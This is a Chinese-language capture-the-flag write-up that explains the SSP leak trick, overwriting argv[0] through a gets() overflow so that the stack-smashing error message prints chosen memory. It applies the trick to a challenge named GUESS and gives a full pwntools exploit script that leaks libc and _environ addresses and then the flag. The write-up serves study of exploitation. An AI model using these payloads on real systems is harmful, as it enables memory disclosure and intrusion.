通过canary报错信息来解题(ssp攻击)
前言:
我们知道栈溢出的基本原理是通过发送大量数据,溢出导致覆盖返回地址,劫持程序执行流,针对开启canary保护的题目,程序中存在gets()或类似这样的危险溢出函数,却又没其他洞的情况下,我们可以利用ssp攻击达到get flag,或get shell的目的.
背景知识:
我们输入过多数据,导致栈溢出时,程序puts出来的报错信息同样是调用了__stack_chk_fail()函数来实现的,其源码如下:
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminatedn",
msg, __libc_argv[0] ?: "<unknown>");
}
我拿一道例题来分析,可以看到,栈溢出发生时,程序会puts出这句话,同时会把程序的名称给puts出来,
分析报错源码可以发现,其实是puts出了__libc_argv[0]指针处的内容,如果可以控制 __libc_argv[0]处的值,我们也就可以任意地址泄露了,通过这个特性,我们可以轻松的leak出libc中的地址,但我们如果想要leak出栈上的任意地址呢,比如GUESS这道题目,通过审计ida,没发现可以直接leak出栈地址的漏洞,那么leak出的libc地址能否算出栈地址呢?答案是肯定的,算出libc地址,我们是可以算出栈地址的,在glibc中存在这么一个函数,_environ(),它是存在于libc中的一个环境指针,但它指向一个栈地址,我们通过leak出_environ也就得到了栈地址,通过固定的偏移,我们也就可以达到leak栈中任意地址.
通过上述分析,我们来看GUESS这道题目
检查保护:
开启了canary,NX保护,也就意味着我们无法顺利的通过溢出getshell.
IDA分析:
程序的主逻辑,在最后我们输入正确的flag的话,就puts我们成功了,但我们知道的话就直接提交得分了,还在这浪费时间干嘛哈哈哈哈,所以这里的strcmp()以下对我们来说是没用的,通过上边的分析,我们来利用ssp攻击来get flag.
打断点到gets()处,
我们输入的地址在rdi指向的栈地址,此时可以看到,程序的名称存在于一个栈地址,如果我们发生了栈溢出,程序就会puts出来程序名称,如果我们将此地址覆盖成libc中的一个地址,那么我们就会得到了一个存在与libc中的地址,那么这段偏移就是上图计算出来的0x128,于是我们构造payload:
payload = 'A'*0x128+p64(elf.got['puts'])
我们也就得到了puts()函数的地址,也就可以计算出_environ()地址,
同样的我们知道了_environ()地址,我们也就知道了_environ()指向的栈地址,通过固定的偏移,我们也就可以算出flag在栈上的地址,我们也就得到了flag.
exp分析:
from pwn import *
from LibcSearcher import *
elf = ELF('./GUESS')
io = remote('node4.buuoj.cn',29231)
#io = process('./GUESS')
context(log_level='debug')
io.recvuntil('flag')
#gdb.attach(io)
#leak puts()地址,计算libc_base
io.sendline('A'*0x128+p64(elf.got['puts']))
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success('puts:'+hex(leak))
libc = LibcSearcher('puts',leak) #要用到LibcSearcher,选4是正确的libc版本
libc_base = leak-libc.dump('puts')
success('libc_base:'+hex(libc_base))
environ_addr = libc_base + libc.dump('_environ') #计算出_environ()地址
success('environ_addr:'+hex(environ_addr))
io.recvuntil('flag')
io.sendline('A'*0x128+p64(environ_addr))
stack = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success('stack:'+hex(stack))
flag_addr = stack - 0x168 #gdb动调得到,大家可以自己动手调试一下
io.recvuntil('flag')
io.sendline('A'*0x128+p64(flag_addr)) #leak出flag!
io.interactive()
报错了,但flag出了哈哈哈哈哈!!!
通过这道题目,我们可以知道给出了一个libc中的地址,我们也就相当于知道了一个栈地址,_environ()起到了一个在libc和栈地址的一个桥梁的作用.